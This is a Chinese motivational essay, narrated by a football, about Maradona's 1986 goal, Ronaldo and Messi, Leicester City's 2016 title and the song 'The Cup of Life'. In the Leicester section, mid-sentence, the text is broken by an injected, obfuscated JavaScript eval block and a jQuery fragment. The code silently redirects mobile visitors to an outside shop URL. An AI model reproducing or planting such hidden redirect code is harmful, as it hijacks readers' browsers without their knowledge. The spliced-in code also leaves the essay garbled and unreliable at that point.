今天我要讲点热血的,讲讲我这辈子印象最深的一些人和事,一些极致的热爱。
一、一个进球,连过五人的上帝神迹!
1986年6月22日,墨西哥城,阿兹特克体育场。
阿根廷对英格兰。四分之一决赛。
第55分钟,马拉多纳在中圈附近接到传球。他转身,开始带球(我)。
第一个被过掉的是彼得·里德。他冲上来铲截,马拉多纳左脚一拨,我像被磁铁吸住一样贴上了他的左脚,里德扑了个空,差点把自己铲进广告牌。
第二个是特里·布彻。这个英格兰硬汉,号称"屠夫",他冲上来想把我从马拉多纳脚下撞飞。磁铁变成了胶水,我依旧紧紧贴着他的左脚,布彻撞了个寂寞,惯性让他转了三圈才停下。
第三个是特里·芬威克。他从侧面飞铲,铲到了马拉多纳的脚踝,但马拉多纳只是踉跄了一下,左脚把我往前一推,我弹起来,继续飞。
第四个是史蒂夫·霍奇。他试图从后面把我勾走,但马拉多纳的左脚像有眼睛一样,把我从他脚边挑了过去。
英格兰球员,像一群被遛的狗,追着这个阿根廷矮个子满场跑。
而马拉多纳就像在自家后院踢我一样,闲庭信步,风骚走位,甚至还抽空抬头看了一眼英格兰门将这即将第五个被过的人。
彼得·希尔顿,当时世界上最好的门将之一,他张开双臂,像一堵墙一样挡在马拉多纳面前。
马拉多纳的左脚把我往左一拨,希尔顿扑向左边;然后他的左脚把我往右一扣,希尔顿重心已失,成为第五个被过的人!
然后他的左脚把我轻轻推向空门!
我滚进了球网!
11万5千人,有一半在疯狂尖叫,另一半在沉默中怀疑人生。
解说员尖叫:"GoaloftheCentury!"(世纪进球!)
我躺在球网里,我的“心脏”剧烈的跳动,不停喘着粗气:"刚才那两分钟,我飞了六十米,过了五个人,最后轻轻滚进网窝。这真的是人类能办到的嘛?刺激!"
这个进球,后来被国际足联评为“世纪最佳进球”。
二、一对冤家:C罗与梅西,没有输家的战争!
说到球星,老铁们肯定会问:“足球,你觉得C罗和梅西谁更强?”
这个问题,我耳朵都听出茧子了。
有人拿数据比:C罗职业生涯进了900多个球,梅西800多个,一个靠力量,一个靠天赋。
有人拿奖杯比:梅西有世界杯,C罗有欧洲杯;梅西有8个金球,C罗有5个;一个有了最重的,一个集齐了所有。
先说C罗。
1985年,葡萄牙马德拉群岛,一个叫丰沙尔的小地方。C罗就出生在这里,父亲是花匠,母亲是厨师。在这个穷得叮当响的家庭里,他小时候唯一的玩具就是一个布缝的球,踢烂了缝,缝好了继续踢。
他11岁那年,一个人离开马德拉,跑到里斯本竞技的青训营。一个从小岛来的孩子,操着一口带着浓重口音的葡萄牙语,被大城市的孩子嘲笑是“乡巴佬”。
那段时间,C罗每天晚上都躲在被窝里哭,想家想到睡不着。但他从来没跟教练说过“我想回去”。
有一次,队友们欺负他,把他的鞋子扔到垃圾桶里。C罗什么都没说,光着脚去训练,练完再把鞋子找回来。
他从小就知道一件事:这个世界不会因为你是弱者就同情你,你只能靠拳头打出自己的路。
后来他去曼联,弗格森爵士第一眼看见他的时候说:“这孩子身上有一种东西,一种原始的、野蛮的欲望。”
“我要成为世界第一”的偏执和野心。
每天做3000个仰卧起坐,身体脂肪含量常年保持在7%以下。
别人在夜店蹦迪的时候,他在游泳池里游圈。
别人在社交媒体上晒豪宅豪车的时候,他在健身房里撸铁。
他的队友贝尔感叹:“我们在飞机上打牌的时候,C罗在看比赛录像。”
这是一种近乎变态的自律。
C罗也是天才,但不是那种“不努力也能赢”的天才。他的天赋放在全世界可能排不进前十,但他用自虐般的努力,硬生生把自己变成了历史级别的球员。
再说梅西。
梅西的故事跟C罗完全相反。
1987年,阿根廷罗萨里奥。梅西出生在一个普通家庭,父亲是工厂经理,母亲兼职做清洁工。
梅西的童年相对比C罗幸福。但他十一岁的时候,被诊断出生长激素缺乏症,也就是俗称的“侏儒症”。
如果不治疗,他的身高最多长到1米4。治疗费每个月要900美元,梅爸的医保不管,俱乐部也不会愿意出钱。
后来梅西去了巴塞罗那,遇到了他这辈子的伯乐,俱乐部有位球探叫雷克萨奇,看了梅西五分钟的训练,就在餐巾纸上草签了一份合同——那张餐巾纸后来成了足球史上最传奇的文件。
雷克萨奇后来说:“我当时没想那么多,我就是觉得不能让这个孩子因为没有钱而失去足球。”
梅西在巴萨长大,从青训营到一线队,从少年到中年,整整21年。他在巴萨拿了10个西甲冠军、4个欧冠冠军、7个国王杯冠军,还拿了8个金球奖。
他把自己最好的年华,全部给了那家在他最绝望的时候给了他一张餐巾纸的俱乐部。
老铁们,C罗和梅西没有谁比谁强,他们就像镜子的两面,他们是在告诉我人可以有两种完全不同的活法。
C罗总是绷着一张脸,进球后怒吼、挥拳、脱衣秀肌肉,恨不得把“我就是世界第一”写在脑门上。他每次被媒体问到“你和梅西谁更强”的时候,嘴上说“我不在乎”,但眼睛里写满了“你们倒是夸我啊”。
梅西呢?
他进球后很少疯狂庆祝,大多数时候只是张开双臂,像个小孩子一样跑向队友。他从来不跟C罗争什么“世界第一”,记者问他“你和C罗谁更强”,他说“我只想帮助球队赢球”。
没有C罗的追赶,梅西不会有今天的伟大;没有梅西的参照,C罗也不会成为C罗。
不是既生瑜何生亮,是互相照亮,互相成就。
三、一只球队:莱斯特城,五千倍的奇迹!
说完天才,来说说平民。
2015年8月,英国莱斯特。一个普通的中部城市,以奶酪和狐狸闻名。莱斯特城足球俱乐部,上赛季勉强保级,新赛季的夺冠赔率是:
五千倍!
就是说你买莱斯特城夺冠,两块钱,中了,拿回一万块。
□□公司开出这个赔率的时候,基本上是在说:"这不可能,我们只是走个过场。"
毕竟,英超是曼联、利物浦、切尔西、阿森纳、曼城的地盘。
莱斯特城?
他们的球场容量只有三万二,他们的老板是泰国免税店老板,他们的主教练是"补锅匠"拉涅利,一个以"救火"闻名但从未拿过顶级联赛冠军的老好人。
他们的前锋瓦尔迪,五年前还在踢业余联赛,周薪只有30英镑,业余时间还在制药厂打工。他们的中场马赫雷斯,两年前还在法乙踢野球,身价不到30万英镑。
这样一支球队,能拿英超冠军吗?
精算师:概率是0.0002%。
AI模型:他们的xG(预期进球)不够。
资本:他们连欧冠资格都摸不到。
但我的魅力就是不按套路出牌!
2015年12月,莱斯特城排名英超第一。
所有人都说:"等着吧,圣诞赛程会让他们掉链子。"
他们没有掉。
2016年1月,他们还在第一。
所有人又说:"等着吧,二月他们会崩盘。"
他们没有崩。
2016年3月,他们领先热刺五分。
所有人又说:"等着吧,经验会让他们在关键时刻手软。"
他们没有软。
2016年5月2日,热刺对阵切尔西。切尔西2-2扳平比分。消息传到莱斯特,全城爆炸了。
因为这场平局意味着莱斯特城,提前两轮,夺得英超冠军!
五千倍的赔率,变成了五千倍的传奇!
那天晚上,我听着莱斯特城的欢呼声。
我想,我见证过世界杯决赛,见证过欧冠绝杀,见证过国家德比。
但没有任何一个时刻,比这个夜晚更让我感动。
这是平民的逆袭。
这
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17606493|205683||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
是梦想的实现。
这是概率论的耳光。
四、一首赞歌:《生命之杯》——GoGoGo,AleAleAle!
我喜欢奇迹、天才、逆袭,但我最爱狂欢。
因为我,生于庆祝。
1998年,法国世界杯。
那是人类历史上第一次32支球队参赛的世界杯,是真正意义上"全球化"的一届。
克罗地亚的格子衫、尼日利亚的绿色风暴、伊朗的顽强、牙买加的彩色辫子、日本的首秀,那届世界杯是全世界的狂欢节。
而这场狂欢的BGM,就是瑞奇·马丁的《生命之杯》(TheCupofLife)。
1998年7月12日,法兰西大球场,世界杯闭幕式。
瑞奇·马丁穿着标志性的红色皮裤(哦,对了,我怀疑那谁就在学他穿皮裤),站在舞台中央,对着八万观众和全球十亿电视观众,唱出了简直是专属于我的庆祝进行曲:
"Thecupoflife,Thisistheone"——生命之杯,就是这一个。(我不是普通的皮球,我是承载生命的容器。)
"Nowisthetime,Don'teverstop"——就是现在,永远不要停。(对,就是我每次落地都弹回空中的倔强。)
"Gogogo,Alealeale"——冲啊,欢呼啊!(对,就是进球后我感受到的那种原始的、无法抑制的狂喜。)
全场炸裂!
"Gogogo!Alealeale!"
我,足球,坐在球员通道里,听着这歌声像海啸一样从看台倾泻而下,覆盖整个球场,我感觉到:我就是生命本身!
每一个进球,都是我的生命在迸发。
每一次奔跑,都是我的激情在燃烧。
每一滴汗水,都是我的存在的证明。
每一声"Alealeale",都是我在呐喊:"我还活着!我还在狂欢!我还在热爱!"
老铁们,其实球场、职场、人(球)生,都一样:
第一,极致热爱,能让"凡人"在某一刻成"神"
马拉多纳连过五人打进"世纪进球"后说:"那个进球,不是我踢的,是上帝借我的脚踢的。"
当你对一件事热爱到超越生死的程度,专注到物我两忘的境界,你也能创造出连自己都觉得不可思议的成就。天赋决定下限,热爱决定上限。找到那件让你愿意"借上帝的脚"去做的事,然后allin。
第二,没有唯一的成功模板,找到适合自己的活法
C罗和梅西是"镜子的两面":
C罗路径:天赋未必顶尖,但用近乎自虐的自律和偏执,把努力变成天赋,用奋斗打出一片天。
梅西路径:天赋异禀,但用低调和安静走自己的路,不与人争,专注做事。
不用盲目模仿别人的成功路径,没有哪种更高贵,先了解自己,然后选择适合自己的路。
第三,敢想,然后去做,奇迹才会发生
一支由业余球员、法乙弃将、补锅匠教练组成的球队,最终掀翻了曼联、曼城、切尔西等豪门。
瓦尔迪后来回忆说:"我五年前还在工厂打工,现在我拿了英超冠军。这证明了一件事:梦想不是给有钱人的,梦想是给敢想的人的。"
当全世界(包括数据、资本、专家)都说"不可能"的时候,恰恰是你该坚持的时候。在职场和人生中,最可怕的不是起点低、资源少,而是你自己先认了"不可能"。敢想,然后去做,奇迹才会发生。
今晚,我想说:
“我热爱被踢,因为我飞过人间。突然想唱歌了,谁想听我来一曲《生命之杯》?"
配图:一张从马拉多纳的左脚到莱斯特城的冠军奖杯到瑞奇·马丁红色皮裤的九宫格拼图。
定位:地球。
评论区:
-马拉多纳:在天堂,看你直播!.
-莱斯特城:我们来和声!
-瑞奇·马丁:等我穿下皮裤,我给你伴舞!
-C罗:你是我的热爱,每一个动作都让我快乐!
-梅西:你就像一颗糖果!
-球迷:号角吹响,鼓点躁起来!我们都爱你!